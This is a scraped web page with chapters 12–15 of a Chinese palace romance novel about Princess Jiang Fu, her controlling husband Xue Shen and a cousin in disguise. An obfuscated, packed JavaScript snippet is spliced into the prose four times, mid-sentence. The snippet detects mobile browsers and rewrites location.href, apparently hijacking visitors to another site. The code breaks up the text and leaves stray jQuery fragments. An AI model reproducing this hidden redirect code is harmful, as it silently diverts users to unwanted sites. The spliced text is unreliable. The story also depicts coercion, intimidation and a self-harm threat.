;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230193|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼看到薛慎手臂上留下的青紫咬痕。
能咬手臂的人,除了王妃外不可能有旁人。
小九关好车门,问道:“你说主子对王妃到底是何意呀?”
他真是看不懂了,说爱吧,欺负王妃最厉害的也是王爷。
说不爱吧,放眼整个堰都也只有王妃能近王爷的身,他真是搞不懂了。
小八:“真笨。”
小九又挨骂了,“你聪明你到是讲啊。”
“不讲,自己去看。”小八懒得理会他,眼睛瞅着前面只顾着驾车。
差错就出在半晌后,疾驰的马车被人踹翻,有黑衣服举着剑刺过来。
薛慎倏地睁开眼,一把抽出剑同对方厮打起来。
撞击身划破了四周的宁静,风也好似被一剑劈开,薛慎看着眼前的男人,黑眸眯起。
“你果然没死。”
“你都没死,我为何会死。拿命来!”
薛慎阴戾道:“那日没让你死,但今日你一定会死。”
两人齐齐跃到树梢上,怒目相对,眼神里都是杀意。
上面打的不可开交,下面也是。
小九小八齐齐和另两个黑衣人厮打到一起。
一炷香后,胜负见分晓,黑衣人驾马离去。
小九欲追,被薛慎拦住,“小心有诈。”
小八问道:“主子,您没事吧?”
薛慎:“皮外伤无妨。”
言罢,他想起什么,低头去看,果然看到腰间的香囊不见了,眸色微凛,拉过身侧的马,一跃跳到马背上,猛夹马腹,挥舞鞭子道:“驾——”
马儿疾驰而出。
小九在后面喊道:“主子,你回城做什么?”
回答他的只有风声。
薛慎回城做什么?
他要去见姜芙,不知为何,他心里很慌,总感觉要发生什么。
……
薛慎推门撞进去,婉儿吓了一跳,跪地道:“王爷。”
“你家主子呢?”
“王妃她——”
薛慎没等她手腕,绕过屏风去了后间,没人。
他走出,又去了偏厅,也没人。西厢房,也没。
薛慎越走脚步越快,神色阴戾到想吃人,下人见状纷纷下跪,不敢抬头看一眼。
薛慎一脚踢翻了眼前的花盆,问道:“王妃呢?王妃在哪?”
众人颤颤巍巍,“王妃她——”
“她去哪了?”薛慎扯上他衣襟问道。
“王妃去老夫人那了。”下人回。
薛慎一把推开他,转身大步离开,刚行至门口,便同院门的姜芙撞上。
下一瞬,伸手把她紧紧搂怀里。
13.第十三章死都不放
第13章
姜芙有些不解,推了推他,“王爷,你怎么了?”
薛慎松开手,捧起她的脸颊左右端详,确定她无碍后,再次把她揽进怀里,抱了好半晌后才松开,什么话也没说,牵上姜芙的手朝外走。
他步子迈得很大,姜芙跟得有些吃力,“王爷,咱们去哪?”
薛慎依然没说完,沿着长廊拐了又拐,最后把她带到了碧雅居,这处是他的私人院落。
密谈要事都是在这里。
正厅,书房,会客室,起居室一样俱全。
他喜欢养鱼,偏东的位置有个偌大的鱼池,便是冬日里池水也在缓缓流动。
花草不多,只有角落里几株,其他便是他习武用的那些。
没有他的允许任何人不许踏进这里,说起来,姜芙也是第一次踏入,她不知薛慎到底要做什么,隐隐有些慌张。
“王爷,你——”
薛慎推开门,他们一起走进。
后方丫鬟跟上来,薛慎把人训斥走,“都出去。”
下人们不敢久留,纷纷离去。
婉儿被拦在了碧雅居大门外,无论她怎么乞求,守门的都不许她进,她急的如热过上的蚂蚁。
王妃可别有事才好。
姜芙停下,抽出手,侧转身,“薛慎,你到底要如——”
薛慎没等她说完,捧起她的脸,堵住了她的唇,舌尖长驱直入,探到了最深处。
姜芙腿一软,无意识朝后退去。
薛慎随着她连连逼近,最后把她抵在在屏风上。
他咬着她舌尖吮吸,直到闻到血腥味才停下,退开,眸光直直打量,沉声道:“这几日你先歇在碧雅居。”
姜芙待气息平稳些后才开口,“王爷一向不喜旁人踏入,为何要妾身住在这里?”
“要你住你便住,哪来那么多为何。”薛慎语气不耐道。
住在这里非常不便,再者姜芙睡眠一向不好,换了地方会睡不着,她道:“王爷要事不严明,妾身不会留下。”
“你连本王的话都不听了。”薛慎手移到她后颈,捏紧,用力朝前按过来,“本王让你住你便住。”
“我每日都要去母亲那请安,这里离母亲的院子太远,不方便。”姜芙不敢轻易说留下。
毕竟这里都是他的人,万一她真要对自己做什么,她连求救的人都没有。
“你怕本王害你?”薛慎攫住她下颌,“姜芙,我在你眼里便是这般不堪?”
姜芙想说对,他在她眼里便是如此。
欺负、折磨、狠戾,他对她一日比一日坏。
她也曾怀疑过,他或许有如此做的理由,可思索了好久她都没有想出,到底她做了什么,要他如此待她。
犹豫片刻,她问出口:“我们之间是不是有什么误会,不然你为何会变成这样?”
她没有看到他眼底一闪而逝的异样,只听他说道:“误会?能有什么误会?我一早便是如此,是你不了解我而已。”
“之前种种不过是我哄你罢了。”
话像刀子一样插入心间,他道:“姜芙,摆正自己的位置,记住,你是睿王府的王妃,你的一言一行都代表王府,切勿做出让王府蒙羞的事。”
未曾出嫁前,父亲便同她讲过一般无二的话,要她事事顾及王府颜面,不可肆意行事。
言下之意,她怎么样无所谓,王府的颜面万不能出任何差错。
“薛慎,我在问你最后一次。”姜芙道,“你真没有什么要同我讲的是吗?”
她在给他机会,就像她说的,最后一次。
薛慎捏紧她下颌,冷冷道:“没有。”
姜芙悬着的心咚一声落地,再无一丝期望,大抵真同他说的那般,之前种种不过是哄骗我,如今他不想哄了。
第一次反抗,她用力掰开他的手,“别碰我!”
“我若是执意碰你呢?”薛慎逼近。
姜芙一把取下发间的金簪,抵在自己纤细的脖颈上,声冷道:“你若再敢碰我一下,我会立刻死在你面前。”
“你威胁我?”薛慎阴戾道,“你竟然敢威胁我?”
“我说过的,别靠近。”言罢,金簪划破了她脖颈,有血涓涓溢出,“让开,我要走。”
“我若是不让呢?”
“那就等着给我收尸。”姜芙不知道哪来的勇气,做了三年来一直想做却没有做过的事,再次加重了力道。
金簪已经插入了她脖颈,血流得越发多了。
薛慎手背上青筋暴起,“你住手!”
“放我走。”她道,“马上。”
薛慎从不知她如此倔强,喉结慢滚,“好,我放你走。”
他侧转身让开。
姜芙故意绕过他,走出门,直到看到婉儿,手才软了下来,跌坐在地上。
“王妃。”婉儿搀扶起姜芙。
姜芙虚脱道:“别讲话,先回去。”
后面有道迫人的视线一直在紧紧追随着她,如影随形。
小八从房顶上跳下来,“主子要去追吗?”
薛慎摆了下手,光影中,他指尖在隐隐颤抖,黑眸中流淌着任何人都读不懂的情绪。
小九想说什么,最后让小八制止。
不多时,天空中有信鸽落在小八肩头,他取下信笺交给薛慎。
薛慎看后,脸色突变,“派人守好王府四周,一切事宜等我回府后再议。”
还是同之前那般无二,小九留守,小八随薛慎驾马出了城。
……
当夜便有黑衣人夜闯王府,来人不多,也只有三个,被守卫团团围住,小九道:“还不是手就擒!”
三人厮杀片刻后趁机逃离。
姜芙浸在梦中并不知外面发生的事。
她梦到了那年她初到睿王府,薛慎被睿王爷责打的画面。
冰天雪地里,薛慎穿着单薄的衣衫跪在庭院中,睿王爷问他知不知错?
他没回。
睿王爷气急,手执鞭子挥打在他身上,执意要他认错。
他硬是咬牙没吭一声。
宋氏在一旁哭的泣不成声,说睿王爷心狠,竟然为个妾室如此毒打自己的亲子。
睿老爷道:“若是他再无理,便不只是责打。”
言罢,男人拂袖而去。
宋氏被丫鬟带回,剩下年幼的薛慎独自跪在雪中一整夜。
她有心去帮忙,被舅母拦住,提醒她不要多事。
后来,她还是耐不住去了,把自己的氅衣给他披上,一句话也没说陪在他雪里呆了两个时辰。
他低着头看雪。
她低着头看他。
那时只觉得他可怜又无助。
第二日,她便病了,高热,昏迷不醒,折腾了五日才好。
那也是她第一次收到他赠送的东西,是一个他亲手编的蚱蜢。
她拿着蚱蜢轻笑,手指在它的须上拨弄了下,那之后她便把蚱蜢带在身上。
有次掉了,她还哭了好久。
最后他给她编了新的,她才破涕为笑。
当时他还说了句话,“姜芙,你和其他人不一样。”
她年少不懂,问他哪里不一样。
他说:“她们坏,你不是。”
梦境再变,便是朝夕相处的那半年。
他们一起读书,写字,作画,吟诗,他送给了她蚱蜢,纸鸢,灯笼。
府中众人见他们相处甚欢,淡笑道:“如此两小无猜,将来大了不若在一起。”
她闻言,抬眸去看他,只见他眸中皆是笑意。
无人时,他说了声:“好。”
姜芙浸在欢喜中不愿醒来,少年身量如雨后春笋般拔高长起,隔几日不见便会高许多。
反观她,还是娇娇弱弱的模样,好似风一吹便倒。
舅母见状叫她多吃些,她胃口不佳,吃不下,后来还是他哄着她吃下。
他说:“阿芙乖,多吃些,晚点带你去看灯会。”
……
姜芙被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232641|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘈杂声吵醒,婉儿来报,是二夫人。
周氏来寻她定不会是什么好事,姜芙道:“让二夫人在偏厅等。”
她梳洗完去了偏厅,周氏正在盯着厅中那些摆件看,忍不住上手摸了又摸。
婉儿轻咳一声,道:“二夫人。”
周氏收回手,转身看过来,见到姜芙后,热络迎上来,“听闻弟妹身子不适可有好些?”
姜芙:“多谢二嫂惦念,好多了。”
“冬日最易染病,弟妹可要多加小心,”周氏给了丫鬟一个眼色,丫鬟走近,手里捧着一株人参,“此参最是养生,二嫂特意寻来送与弟妹的。”
无事献殷勤非奸即盗,姜芙婉拒,“太贵重,阿芙怎么收。”
“能收能收。”周氏坐下时又看了眼那些摆件,“这些都是弟妹的陪嫁之物吗?”
姜芙:“是。”
“还是弟妹娘家富足,”周氏道,“我们可比不上。”
“商贾之家最是见不得人。”姜芙道,“不能同二嫂母家比。”
周氏端起茶盏慢慢品来,喝完第一盏,续第二次时才开口,“嫂嫂是有事前来求弟妹帮忙。”
姜芙执帕掩唇轻咳,“不知是何事?”
“还不是你二哥,”周氏道,“欠债是还上了,可一直闲着也不妥,想问弟妹有没有营生的门路介绍一二。”
“二哥要做生意?”姜芙道,“母亲怕是不会同意的。”
自古以来,商贾之家便是被文人墨客看不起,更何况是王府这般的高门大院。
“母亲那我自会同她讲,就是想问问弟妹……”周氏抿抿唇,“可有多余的银钱借给些,等赚了钱后我们会立马归还。”
怪不得如此热忱,原来是打的借钱的主意。
“王爷俸禄一直在母亲那里,不若二嫂去问问母亲。”
“母亲那若是有,我又何必来你这。”周氏笑意敛了些,“弟妹是不想借吗?”
“不是不想借,是我手头没有多余的现钱。”姜芙道。
“没多余的现钱也无妨,我看你这里好东西不少,不如拿出去典当一些。”周氏道。
“若真这般做,给熟人看到,王爷脸上会无光。”姜芙淡笑道,“二嫂应该也不愿王爷被人诟病。”
“姜芙你何意?”周氏站起,“直说吧,借还是不借?”
“没钱。”姜芙道,“心有余而力不足,还望二嫂莫怪。”
“你说没钱,谁信!”周氏道,“你那些嫁妆什么的,随便拿出了一两件就好。”
“二嫂都说了,那是我的嫁妆,是父兄的心意,我岂敢随意处置。”姜芙给了婉儿一个眼色,婉儿端着托盘走来。
姜芙道:“这里有些首饰,二嫂若是不介意,可以拿去当了。”
周氏看着那一支支玉簪,冷嗤道:“就这些?你打发叫花子呢。”
姜芙:“只有这些。”
她的银钱要留着日后离家用,一分都不可能外借。
“前日你送薛臻的都不止这些吧?”周氏道,“姜芙,你别忘了,咱们才是嫡亲的,那个薛臻同你无任何干系。”
眼见愈吵愈烈,姜芙烦了,“婉儿,我乏了,送客!”
婉儿上前,“二夫人,请。”
“走就走。”周氏走了两步又折回来,从桌上拿起装着人参的盒子,怒甩衣袖离去。
还是这日,晚膳时,东院传来吵闹声。
婉儿听罢,低声道:“王妃,是二爷在责骂二夫人,怪二夫人没个有钱的娘家,害他什么都做不成。”
起初是男人的谩骂声,后面是女人撕心裂肺的哭喊声。
没多久,宋氏的声音传来,这才消停。
……
姜芙再一次梦中惊醒,是有人在碰触她,那人手指冰凉,落到她脸颊上时,带起刺骨感。
她生生被激醒。
入目的是男人那双沁着血丝的眼眸,随即她被他吻住。
声音战栗。
“阿芙,别离开我。”
14.第十四章计谋
第14章
姜芙快呼吸不上时他才松开,她轻喘,纤细的香肩微微战栗,不知他今夜又是为何。
晚膳时小九在院里守着,她让婉儿去套话,得知薛慎有急事出了堰都城,至于何事没问出来。
看薛慎此时的样子,怕是事情办的不顺利。
他贵为一朝王爷,庆帝最亲近之人,按理说应该没什么事能难倒他。
姜芙掩唇轻咳时掀眸打量了他一眼,随后再次低下头。
喉咙不适,她这咳,好久后才停下。
薛慎起身,端来茶水欲喂她喝,她伸手去接,被他挡住,“我来。”
姜芙哪里敢劳他大驾,“妾身自己便好。”
“芙儿又不听话了。”他道。
炸听这个称呼,姜芙不觉欣喜,只觉害怕。
上次他唤她芙儿,她三日没下来床,一直被他束在榻上,宋氏来寻,他都没让其进门。
她哭着求了一次又一次,他还是没放过她。
姜芙颤抖着收回手,“有劳王爷。”
“张嘴。”他道。
姜芙乖乖把嘴张开,甚至怕张的不够大惹怒他,故此很用力张了张。
“芙儿怎么了?”薛慎睨着她,语调平缓,看不出息怒,“抖得这般厉害?”
“是在怕我吗?”
是,她就是怕他。
“没有,妾身只是觉得有些冷。”姜芙道。
薛慎随手把被子扯过来披她身上,捏住她下颌,“这般便不冷了吧?”
……越发冷了。
冻彻心扉。
姜芙点头,“是。”
薛慎轻抚她脸颊,“把茶水都喝完。”
她不敢说不,一口气喝完,喝太快还被呛了下。
又是连着咳了几声。
刚停下,薛慎状似无意问道:“芙儿最近可有同你表姐往来?”
薛慎早便警告过她,不许同表姐来往,书信也不可。
她哪里敢承认,摇头,“没有。”
“信笺呢?”
“亦没有。”
“哦,是吗?”薛慎微微用了些力,手中茶盏应声碎裂,他继续用力,须臾,茶盏成了粉末。
姜芙一向知道他武功高,却没想到了这般境界。
吓的脸色煞白,“王爷,你你要作何?”
她身子后倾,想跑,更想逃,永远逃离。
薛慎拍拍手,“是不是吓到芙儿了,抱歉。”
他眉宇间哪里有丝毫歉意,分明是故意做给姜芙看的。
“芙儿的骨头可有茶盏硬?”他悠悠道。
她的骨头自然没有,姜芙摇头。
“知晓便好。”薛慎伸手把她拉进,“芙儿这般聪慧,应当知晓惹怒我不会有好下场。”
他轻揉她脸颊,“记住,要听话。”
姜芙点头应下,“妾身知晓。”
“对了,若是你表姐派人给你送来书信,记得交予我。”薛慎道,“我一直很好奇,这位离城荣家的大小姐到底是何方神圣竟让芙儿为了她几次三番忤逆我。”
姜芙:“……”
闲谈片刻,姜芙已经冷汗淋漓,亵衣也湿了一大半。
薛慎似乎不急着走,坐在一旁端详着她,直到她体力不支轻晃了下,他才开口:“我看芙儿累了,睡吧。”
睡?!!
她不确定他说的睡是何意。
难道他又想对她做什么?!
“妾身刚刚来癸水了,怕是不能伺候王爷。”姜芙搅着被角道。
“莫不是芙儿以为我只想着那些事?”薛慎淡声道,“今夜不碰你。”
他在她心中,确实是那种只想着情事的人,谁叫他每次见她都一副急不可耐的样子。
活似要把她吞掉。
姜芙先躺下,随后薛慎也躺下,见他把手伸过来,她抵着,“王爷说了,今夜不碰妾身。”
“不碰你,我只是抱着你睡。”他道。
姜芙僵着身子动也不敢动。
薛慎:“放轻松。”
“……”她越发不敢放松了。
不知过了多久,姜芙终是挨不住困意,闭眼沉沉睡了过去,是以,她不知有人目不转睛盯着她瞧了一夜。
天亮后才阖眼睡去。
次日姜芙醒来,身侧空空如也,外面传来讲话声,婉儿在布菜,说是王爷命他们准备的。
十几道,每一样都是姜芙爱吃的。
薛慎下朝后,也过来一起用膳。
姜芙同平日那般不敢多言,低头吃着,薛慎未曾说什么,早膳后离去。
婉儿道:“王妃,王爷这是怎么了?”
姜芙哪里知晓他是何意,只道:“可能是心血来潮吧。”
毕竟他已许久不曾同她一起用膳了。
原以为他只是心血来潮,岂料他日日都来,早膳午膳晚膳,一日三餐都陪着。
姜芙真是越发看不懂他了。
婉儿说:“王爷莫不是转性了,打算对王妃好些?若真是那样,王妃便可不用离府了。”
姜芙不敢如是想,道:“静观其变吧。”
这一观,又观了几日,薛慎还是如此,非但同她用膳,夜里也不强迫她做不喜欢的事。
每次亲吻她时都没再遮挡她的眼眸,他还用最温和的声音同她讲话。
姜芙有种做梦的感觉,甚至产生了其他的想法,若他们真可以如此和睦,她不离府倒也无妨。
她在心里编织着美梦。
期盼能同儿时那般两小无猜。
然而,她到底是低估了人的本性,豺狼怎么可能会不吃肉,片刻的伪装终究只是一时。
最先发现不对劲的是婉儿。
“王妃,春喜自从被老夫人叫走后一直没回来,奴婢方才去寻了,也没见到人,刘妈说春喜有事外出了,可奴婢总觉得不对劲。”
姜芙这才想起,确实有几日没见到春喜了,不止春喜,房里除了婉儿外,断断续续再少人。
且多了一些生面孔。
“那些侍卫是何人派来的?”
“是王爷。”婉儿道,“说是保护王妃。”
“这里是府中,何须这么多人。”姜芙想着等见到薛慎后要好好问一问。
薛慎今日同同僚吃酒,晚膳后才回来。
姜芙伺候他沐浴,忙完后,同他一起回到房里,无意中提及了守卫的事,他道:“城中近日来了盗寇,未防生变,故多派了些人,芙儿若是不喜,本王可让他们都走。”
“但是,那样一来,我会担心,芙儿应该不愿我忧心吧?”
他都这般讲了,姜芙只能顺着他的话回答,“妾身自是不愿。”
薛慎:“那好,那便让他们护着你。”
姜芙还想说什么,被他打横抱起放到了榻上,他没用强的,温声问:“可以吗?”
姜芙耐不住他柔情似水的眼神,害羞点了点头。
衣衫褪尽,他吻了上来,不止吻她的唇,其他地方也吻。
他喜欢留下痕迹,越重越好,不过怕她不适,他还是克制着只留了浅浅一些。
从耳后到脖颈到肩头,能看的不能看的地方都留了。
他细细描绘着别致的图案,制造了一次又一次涟漪。
他攫住她的唇深吻,喘着粗气说:
“芙儿,求你,爱我吧。”
……
姜芙醉倒在他编织的爱欲中,沉沦再沉沦,忘了那些疼痛和不安,动情地回应他。
她探出舌尖舔舐他的薄唇,引得他低吼一声。
外面大雪淋漓,屋内热浪翻涌,姜芙想,或许…或许真的可以给他一次机会。
那夜过后,薛慎多了一个兴趣。
便是拉着她,给她画眉,不知他从哪学来的,手艺非常好,婉儿都忍不住夸奖,“王妃,王爷画的好看。”
他何止会画眉,他会的可多了去了。
闺房趣事不易说给旁人听,姜芙忍着羞赧,道:“再打趣,罚你去外面站着。”
婉儿笑笑,“王妃,王爷如今转了性子,对王妃这般好,也不枉王妃心伤多年。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240765|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
姜芙凝视着镜中的自己,明明事事顺利,可她总有种不踏实感,好似眼前只是海市蜃楼,随时有可能坍塌。
她想多问些,好让自己安心,可两人独处时又没机会问。
薛慎是没有再强迫她,但他要她的心思一日比一日重,他换着花样让她沉醉,想逃都无处可逃。
因为是她心甘情愿的。
她还意识到一个问题,她的心终究要守不住了。
再次为同一个人心动。
她也知自己这样不对,他之前对她那般不好,她不应该动摇,可…可她没办法。
-
姜芙这边夫妻和睦,周氏同刘氏那边鸡飞狗跳,为的还是银钱,每日都会吵上一番。
劝都劝不住。
宋氏一气之下带着刘妈和几个贴身婢女外出省亲,眼不见心不烦,随他们闹吧。
她一走了之什么都不管了,刘氏周氏折腾得更甚,每日都能听到吵闹声,但宽慰的事,无论他们如何吵,都不会惹到姜芙。
起初姜芙以为是她们良心发现,后来才知晓,是薛慎在外面加强了守卫。
小九在院门外护着,连只苍蝇都飞不进来。
旁人进不来也就算了,但薛臻进不来,甚是苦恼,没办法送信,只能干瞪眼看着。
好不容易等到婉儿外出,他偷偷跟上。
“婉儿姐姐。”
婉儿停下,转身,“四公子。”
“姐姐,嫂嫂近日可安好?”
“王妃安好。”
“这是我做的诗词,夫子还夸我来呢。”薛慎递上,“劳烦姐姐拿给嫂嫂。”
婉儿接过,折起,“四公子放心,我一定带到。”
随即把放在袖中的银钱取出,“这是王妃让奴婢交给四公子的。”
薛慎接过,“谢谢嫂嫂。”
“若四公子真感激王妃那便发奋读书吧,将来考取公明便是报答王妃了。”婉儿道。
薛臻:“我一定努力读书,以报答嫂嫂的养育之恩。”
没敢说太久,婉儿挥手道别。
这事还是落进了薛慎耳中,他一把掐断眼前的树枝,眼神凌厉道:“除了这些还有其他的吗?”
小八:“没。”
薛慎:“继续盯着。”
“是。”小八说,“王妃那的人除了婉儿外已经都换了,婉儿她……”
薛慎知晓婉儿在姜芙心中的重要性,若真把婉儿带走,怕是姜芙会不高兴,“暂且让婉儿留下。”
小八领了命令出去。
……
这夜有人哭哭啼啼,有人颠鸾倒凤好不快活。
姜芙被薛慎闹的没法,红着眼眸道:“王爷,妾身好累。”
她在撒娇。
薛慎轻抚她脸颊,“只是累么?不渴?”
他们折腾了多久,她便喊了多久,怎会不渴。
姜芙害羞地躲进他怀里,“慎哥哥又打趣我。”
“不是打趣。”薛慎捏住她的下颌抬起,“慎哥哥是在爱你。”
爱了她几个时辰。
他眼神里好似带着火,烧的姜芙口干舌燥,偏头避开,又被他扳过脸,“芙儿喜欢吗?”
“喜欢我那般对你吗?”
他今夜最过分,竟然竟然用薄唇去碰触她……
她不想回答,再次藏进他怀里。
薛慎揉捏她粉嫩的耳垂,“不回答,我便当你喜欢了。”
“……”姜芙还是没开口。
薛慎蹙鼻在她颈肩嗅了嗅,“芙儿好香。”
她很少涂香,那些香气都是她身体自带的,她也不知为何。
避不开,只能任他触着,岂料刚压下的灼热再次涌上来,薛慎给姜芙喂完茶水后,打横抱起她去了隔壁厢房。
那里有刚放好的洗澡水。
姜芙趴在木桶上,身下的水溢出了一次又一次。
她不敢回看,害羞地遮住脸。
薛慎掐着她腰肢道:“芙儿,叫夫君。”
姜芙:“……夫君。”
15.第十五章索取
第15章
薛慎的不对劲比姜芙想象中的还大,他竟然允许她外出,还专门陪同。
好几次姜芙想问他到底要干嘛,又咽了回去,他这人一向难猜,便是问了又如何。
打消了追问的念头,她兴致便上来了,掀开车帘四处看,远远便看到有卖胭脂水粉的。
她喊停,对薛慎说道:“妾身要去买些胭脂。”
薛慎:“好,去吧。”
薛慎先下的车,然后才是姜芙,婉儿欲身手扶她,被薛慎抢先一步,他手递到姜芙眼前,温声道:“小心。”
这幕让姜芙没有来的心悸。
一个人突然对你太好,必是有所图,她犹豫片刻,还是把手递了出去。
触上那刹,她心跳都乱了,他手指好烫。
其实不止手指烫,他整个人都是滚烫的,只要触上便让人心悸难耐。
薛慎见她不动,轻唤了声:“芙儿。”
姜芙回过神,踩着凳子慢慢走下来。
摊贩嘴很甜,见状含笑道:“夫人相公我这的东西都是最好的,夫人尽管试。”
姜芙随手拿起一只,打开盖子,凑在鼻尖嗅了嗅,气味确实不错。
婉儿接过,也嗅了嗅,点点头。
薛慎淡声道:“这些每样都来一盒。”
“不用那么多。”姜芙拦住他,“口脂什么的都不需要。”
薛慎牵着她的手,“买了放着便好,几时用几时取。”
老板一看是大主顾,笑的一脸灿烂,“这就给您二位装起来。”
这样被他牵着于理不合,姜芙轻轻抽动了下,压低声音:“有人在看。”
“随他们看。”薛慎道,“我牵我夫人的手谁敢说什么。”
是没人敢说什么,但他们的眼神都不太友善,薛慎无所谓,但姜芙不是,“松手。”
薛慎依然没松。
“求你。”她又说。
这次薛慎没再坚持,缓缓松开了手,借着给她扶正发簪之际,贴着她耳畔低语,“记得补偿我。”
姜芙:“……”
他把补偿说的那样自然,衬得姜芙神色越发慌乱了,她眨眨眼,转身欲走,又被他拉住了袖子。
“你还没回答。”
“……嗯,知道了。”
即便他怎么掩饰,也藏不住他骨子里的霸道,他对姜芙在意是真,但约束也是真。
姜芙心底的疑团解开了些,他对她的那些好,本质上还是想拿捏她。
他对她,从来都没有真正意义上的平等尊重,骨子里,他依然霸道阴戾。
突然失了逛下去的兴趣,她低语,“我想回府了。”
“刚出来怎么就回府?”薛慎道,“前面是望春楼,今日午膳我们在这里食用。”
“于理不合。”姜芙道,“母亲知晓会生气。”
“母亲问起来自有我去解释。”薛慎轻抬下颌,“你不是喜欢看皮影戏吗?今日正好有。”
姜芙拗不过他,只能随行。
但不知为何,右眼皮一直跳,总感觉会有不好的事情发生。
还真发生了。
皮影戏看到一半,有人不小心撞上姜芙的肩,手一抖,茶水洒了出来,弄湿了她的罗裙。
湿漉漉的很不舒服,也很不好看。
女子诚心道歉,“小娘子都是我的错,前方有雅间,小娘子可去哪里换件干净的衣裙。”
姜芙不可能穿着湿漉漉的衣裙招摇过市,只能点头应下。
婉儿在门外守着,她在房间里换衣裙,刚换好,细碎的脚步声传来,姜芙抬眸去看,入目的是熟悉的面孔。
俊逸的五官,修长的身形。
是江宸。
“江先生,您怎么在这?”她惊讶问道。
“说来话长,”江宸道,“等我日后再通姑娘解释,薛慎正在同人攀谈,眼下正是离开的好时候,请姑娘随我一同离开。”
他伸出手,欲碰触她,姜芙后退,“先生,男女授受不亲。”
江宸眼神什么一闪而逝,慢慢收回手,“姑娘请走这里。”
姜芙是要离开,但不是这般偷偷摸摸的,她要堂堂正正拿了和离书再走,“抱歉,我不能同先生离开。”
“为何?”江宸道,“姑娘可知小姐一直在惦念姑娘。”
“谢过表姐好意,”姜芙道,“但我不能走。”
“你不是一直想离开王府吗?”
“你怎么知晓我一直想离开?”她那些体己的贴心话都是对表姐讲的,江宸为何会知道?
表姐告知他的?
不可能,表姐怎会随意把她的事告知其他人,尤其对方还是男子。
到底哪里出了错?
姜芙一时想不透,“离不离开都是我自己的事,不劳先生担忧。”
“姑娘。”江宸似是失了耐性,“你可知我为了今日见到你做了何事?”
姜芙顿时明了,“戏班是你找来的?”
江宸:“对。”
“你为何要这般对我?”
“因为我——”江宸话未讲完,外面传来婉儿的声音,“王爷。”
薛慎问道:“王妃呢?”
“王妃正在里面。”婉儿回。
薛慎抬脚欲上前,婉儿拦住,“王妃正在更衣,王爷此时进去怕是不便。”
“我是她夫君有何不便的。”薛慎见婉儿还要拦,给小九使了个眼色,小九当即把婉儿挡住。
薛慎推门而入。
姜芙倚着窗棂,直勾勾看向薛慎,袖子下的手指隐隐在颤。
“王爷怎么来了?”
薛慎四处打量,隐约看到什么,勾了勾唇角,大步走近,“你脸脏了。”
“哪里?”姜芙抬手要去碰触,被薛慎拦住,他手指挑起她下颌,薄唇落在了她唇瓣上,吮吸啃噬。
“看错了,没脏。”
言罢,他再度加深了这个吻。
姜芙没料想他这般放肆,在别人的房子里敢做这种事,余光看着躲在暗处的影发慌。
江宸可千万不要出来。
暗处,江宸垂在身侧的手指攥紧成拳,牙齿咬得咯吱作响。
他用尽全身的力气才让自己没有冲动。
半晌后,薛慎意犹未尽地退开,嘴里说着放浪的话,“芙儿好甜。”
姜芙:“……”
此处不宜久留,姜芙借口想回家,催着薛慎快点离开。
房门关上,暗格里再次有人走出来,站定在江宸身侧。
“公子为何不告知姑娘,你便是表小姐。”口口相传的离城江家女儿,实则是个男子。
少时江宸体弱多病,大师造访,告知唯有江宸换上女装才可保平安。
是以,他每每在家都是以女装示人。
倾城之貌,扶柳之姿,将相之才,说的便是江宸本人。
他容貌堪比万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250705|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
千女子。
江宸也后悔应该早些告知姜芙他的身份,可他也怕,怕自此她同他会离心,若真那般,他情愿什么都不讲。
“要去追回吗?”
“不必。”
姜芙,他暂时是带不走了。
“那咱现下去码头吗?”
“去。”
……
马车上,薛慎捏着姜芙的下颌吻了许久,直到她喘息不上他才松开。
姜芙战栗不已,想说话却一句也说不出。
她不讲,薛慎却想问。
“方才房间里是不是还有其他人?”他淡声道。
姜芙不想暴露江宸的行踪,摇头否认,“没有。”
“芙儿最乖了,也从不说谎,”薛慎道,“我再问你一次,刚刚可有旁人?”
姜芙:“没有。”
薛慎冷哼两声:“又淘气了。”
他扣住她的手腕,把她扯怀里,“手抖成这样,难不成是害怕了?”
姜芙连抽出的力气都没有,“妾身听不懂王爷是何意?”
